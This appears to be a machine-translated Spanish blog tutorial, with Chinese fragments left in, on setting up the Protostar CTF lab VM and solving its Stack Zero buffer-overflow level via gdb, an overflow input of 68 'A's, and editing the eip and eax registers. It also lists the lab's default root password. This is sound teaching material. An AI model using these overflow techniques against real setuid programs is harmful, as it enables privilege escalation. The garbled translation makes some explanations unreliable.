Máquina virtual de seguridad binaria Instalación del campo de tiro Protostar, explicación de conocimientos básicos, craqueo STACK ZERO

Insertar descripción de la imagen aquí

Introducción

Pwn es una de las direcciones de la competencia CTF y también es el umbral más alto. Antes de aprender pwn, necesita muchos conocimientos. Se recomienda comprar primero una cuarta edición de lenguaje ensamblador en un sitio web determinado. Después de leerlo, aprende python y lenguaje c. Se recomienda python. Mira los tutoriales en YouTube FreeCodeCamp, lo mismo ocurre con el lenguaje C.

La mayoría de las preguntas de pwn implican descifrar archivos binarios que se ejecutan en servidores remotos y explotar vulnerabilidades en los archivos binarios para obtener acceso al sistema.

Este es un buen campo de tiro para principiantes en PWN. Este campo de tiro incluye:

网络编程
处理套接字
栈溢出
格式化字符串
堆溢出
写入shellcode

enlace de descarga:

https://exploit.education/downloads/

Insertar descripción de la imagen aquí

Implementación del entorno experimental

Protostar靶机下载地址:https://exploit.education/protostar/
windoows的ssh连接软件:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

Después de descargar el archivo de imagen de Protostar, instálelo en vmware y luego ábralo

账号为user,密码user
如何切换到root权限:进入user用户然后 su root 密码为godmod

Conexión remota SSH
Insertar descripción de la imagen aquí
: ingrese la IP y haga clic en Abrir, ingrese la contraseña de la cuenta, luego ingrese /bin/bash y reemplácelo con un shell que pueda completar la cadena.
Insertar descripción de la imagen aquí

En la introducción del dron Protostar en el sitio web, las preguntas que queremos resolver se almacenan en este directorio.

/opt/protostar/bin

Entramos en este directorio y vemos los archivos en detalle

ls -al

Insertar descripción de la imagen aquí
Descubrimos que todos los archivos están en rojo, revisemos los archivos en detalle.

flie stack0

Insertar descripción de la imagen aquí
Este es un programa setuid de 32 bits.

fijar tiempo

¿Qué es setuid?

setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配

Esto es un poco complicado, pongamos un ejemplo.

一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了

Demostración
: ejecutamos un vim como usuario usuario
y luego abrimos una nueva ventana para ver el proceso en segundo plano.

ps -aux

Insertar descripción de la imagen aquí
Como puede ver aquí, nuestro vim se está ejecutando con permisos de usuario. Luego ejecutemos el archivo setuid en la máquina de destino. Aquí podemos ver
Insertar descripción de la imagen aquí
que aunque somos el usuario usuario, después de ejecutar el archivo, el archivo se ejecuta con permisos de root.
Cuando verificamos los permisos del archivo,
Insertar descripción de la imagen aquí
r significa lectura, w significa escritura y x significa ejecutar. Entonces, ¿qué es s?

s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的

Cuando este bit es ejecutado por un usuario con derechos de usuario, Linux en realidad se está ejecutando con los derechos del creador del archivo, en este caso, se está ejecutando con derechos de root. Nuestro objetivo es descifrar estos archivos y obtener permisos de root
.

Análisis del código fuente del programa STACK ZERO

Insertar descripción de la imagen aquí

Resolvemos un problema simple y lo llevamos a comprender mejor cómo se ejecuta el programa y cómo descifrarlo mediante el análisis del lenguaje ensamblador y el conocimiento relacionado.

题目的源代码:https://exploit.education/protostar/stack-zero/

Detalles de la pregunta: este nivel introduce el concepto de que se puede acceder a la memoria fuera de su área asignada, cómo se distribuyen las variables de la pila y que las modificaciones fuera de la memoria asignada pueden modificar la ejecución del programa.
Insertar descripción de la imagen aquí
Analizar el código fuente, este es un programa escrito en lenguaje C.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;          //定义一个变量
  char buffer[64];           //给buffer变量定义数组,c语言中一个字符数就是一个字符串

  modified = 0;            //modified变量=0
  gets(buffer);             //获取我们的输入,赋予到buffer变量里

  if(modified != 0) {               //如果modified不等于0
      printf("you have changed the 'modified' variable\n");                //打印'成功改变modified变量'字符串
  } else {                        //否则
      printf("Try again?\n");                   //打印'再试一次'
  }
}

Obviamente, necesitamos hacer que la declaración if sea exitosa e imprimir la cadena de variables cambiadas exitosamente. Presentaré cómo descifrar el programa y obtener permisos de root en el próximo artículo.

obtiene análisis de vulnerabilidad de función

En la documentación oficial de la función gets, hay un dicho que dice que
Insertar descripción de la imagen aquí
nunca se debe usar la función get, porque si no conoce los datos de antemano, no puede juzgar cuántos caracteres leerá get, porque get continuará almacenando caracteres. cuando se excede el final del buffer. Es extremadamente peligroso de usar y dañará la seguridad de su computadora, use fgets en su lugar.

Análisis de compilación

Usamos gdb para abrir el programa para su posterior análisis.

gdb /opt/protostar/bin/stack0

Insertar descripción de la imagen aquí
Luego miramos el código ensamblador del programa para comprender cómo funciona la pila del programa.

set disassembly-flavor intel 参数让汇报代码美观一点
disassemble main  显示所有的汇编程序指令

Insertar descripción de la imagen aquí

0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.
0x080483f4 <main+0>:    push   ebp

La primera es insertar ebp en la pila. EBP es un registro de la CPU. Contiene una dirección que apunta a una determinada ubicación en la pila. Almacena la dirección en la parte inferior de la pila. En la información de referencia de instrucciones oficiales de Intel, Como puede ver, mov esp, ebp y pop ebp son el principio y el final de la función
https://www.intel.de/content/dam/www/public/us/en/documents/manuals/64-ia- 32-architectures -software-developer-instruction-set-reference-manual-325383.pdf
Insertar descripción de la imagen aquí
En este programa, la operación inicial es empujar ebp a la pila, luego poner el valor de esp en ebp, y cuando finaliza la función, el se realiza la operación de salida

0x08048433 <main+63>:   leave
leave:
mov esp,ebp
pop ebp

Se puede observar que las operaciones al principio y al final del programa son simétricas,
luego se realizan las siguientes operaciones

0x080483f7 <main+3>:    and    esp,0xfffffff0

La instrucción AND borra 1 o más bits de un operando sin afectar a otros bits. Esta técnica se llama enmascaramiento de bits, al igual que cuando se pinta una casa, se usa cinta adhesiva para cubrir las áreas que no se van a pintar (como las ventanas), aquí se oculta la dirección del esp.

0x080483fa <main+6>:    sub    esp,0x60

Luego resta 60 hexadecimal de esp

0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0

La posición movida en la memoria es 0 y el desplazamiento en la pila es 0x5c
dirección de segmento + dirección de desplazamiento = dirección física.
Por ejemplo, hay 2000 metros desde la casa hasta la escuela. Estos 2000 metros son la dirección física. Vas desde casa. al hospital. Hay 1500 metros, y está a 500 metros de la escuela. Los 500 metros restantes son la dirección compensada. Le
recomiendo que lea el libro "Lenguaje ensamblador". En este libro, hay muchos conocimientos relevantes. sobre la capa inferior de la computadora.

0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>

La operación lea es tomar la dirección efectiva, es decir, tomar la dirección esp + la pila en la dirección de desplazamiento 0x1c,
luego DWORD PTR necesita tomar la dirección de eax en esp
y llamar a la función gets.

0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax

Luego compárelo con el valor establecido previamente, 0, y use la prueba para verificar

0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>

Estas son las operaciones del bucle if.

Demostración práctica

Método 1: desbordamiento

0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

Primero establecemos un punto de interrupción en la dirección de la función get, de modo que cuando el programa alcance esta dirección, se detendrá y continuará ejecutando la siguiente operación.

断点意思就是让程序执行到此“停住”,不再往下执行
b *0x0804840c

Luego establezca un punto de interrupción después de llamar a la función gets para ver dónde está la cadena que ingresamos

b *0x08048411

Insertar descripción de la imagen aquí
Luego establezca

define hook-stop

Esta herramienta puede ayudarnos a ejecutar automáticamente los comandos que configuramos después de detener cada paso de la operación.

info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

Insertar descripción de la imagen aquí
Luego ingresamos ejecutar para ejecutar el programa hasta el primer punto de interrupción.

r

Insertar descripción de la imagen aquí
Ahora estamos a punto de ejecutar la función obtiene, ingrese n para ejecutar la función obtiene.

n    //next

Ingresamos algo de contenido a voluntad y presionamos la tecla Enter,
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
puedes ver que 0x41 es el código ASCII de A. Todavía estamos a cierta distancia de 0x0000000.

x/wx $esp+0x5c            //查看esp地址+0x5c偏移地址的内容

Insertar descripción de la imagen aquí
Después del cálculo, necesitamos cubrir 68 caracteres,
ingrese q para salir de gdb
y luego use echo o python para ingresar al programa.

echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | /opt/protostar/bin/stack0
python -c 'print "A"*(4+16*3+14)' | /opt/protostar/bin/stack0

Insertar descripción de la imagen aquí
Como puede ver, hemos impreso correctamente los caracteres correctos.

Método 2: cambiar el valor del registro eip

La función de un registro es almacenar código binario. Diferentes registros tienen diferentes funciones. Aquí necesitamos conocer un registro muy importante. Se llama EIP, que en los programas de 64 bits se llama RIP. Es el puntero del programa. , y el puntero se usa para encontrar la dirección. , cualquier dirección a la que apunte, se ejecutarán los parámetros de esa dirección. Al controlar este puntero, podemos controlar la ejecución de todo el programa
y volver a abrir el programa. Ya que podemos controlar el registro eip, podemos establecer un punto de interrupción en cualquier lugar. Estoy aquí El siguiente punto de interrupción en el encabezado del programa

 b *main

Ejecute el programa hasta el punto de interrupción.

r

Ver los valores de todos los registros.

info registers

Insertar descripción de la imagen aquí

La dirección del punto de interrupción que configuré es 0x80483fd y el valor del registro eip también es 0x80483fd.
Verifique el código ensamblador del programa.
Insertar descripción de la imagen aquí
Si el valor que ingresamos es diferente del valor establecido por el programa, saltará a la posición 0x8048427 y luego generará Inténtalo de nuevo, lo que significa que el crack falla. Así que modificamos el valor del registro eip a 0x8048419 y llamamos a la función put en la siguiente dirección. El resultado es que has cambiado la variable 'modificada', lo que significa que el crack se realizó correctamente. .Ahora modificamos el valor del registro eip
.

set $eip=0x8048419

Después de la modificación, verifique los valores en todos los registros nuevamente y puede ver que eip ahora apunta a la dirección que especificamos.
Insertar descripción de la imagen aquí

n //执行下一个地址

Insertar descripción de la imagen aquí

Agrietado con éxito

Método 3: modificar el valor del registro eax

Insertar descripción de la imagen aquí

El método más directo es cambiar el valor de comparación para que el valor del registro eax no sea igual a 0, porque el carácter de solicitud correcto no se generará hasta que la lógica del código fuente del programa no sea igual a 0. Ha cambiado el ' variable modificada
Insertar descripción de la imagen aquí

Establecer un punto de interrupción en el punto de comparación

b *0x08048415

Ejecute el programa

r

Ver los valores en todos los registros
Insertar descripción de la imagen aquí
Modificar el valor en el registro eax

set $eax = 1

Insertar descripción de la imagen aquí

Luego continúe ejecutando el programa.

Insertar descripción de la imagen aquí

Agrietado con éxito

Supongo que te gusta

Origin blog.csdn.net/qq_45894840/article/details/129490504
Recomendado
Clasificación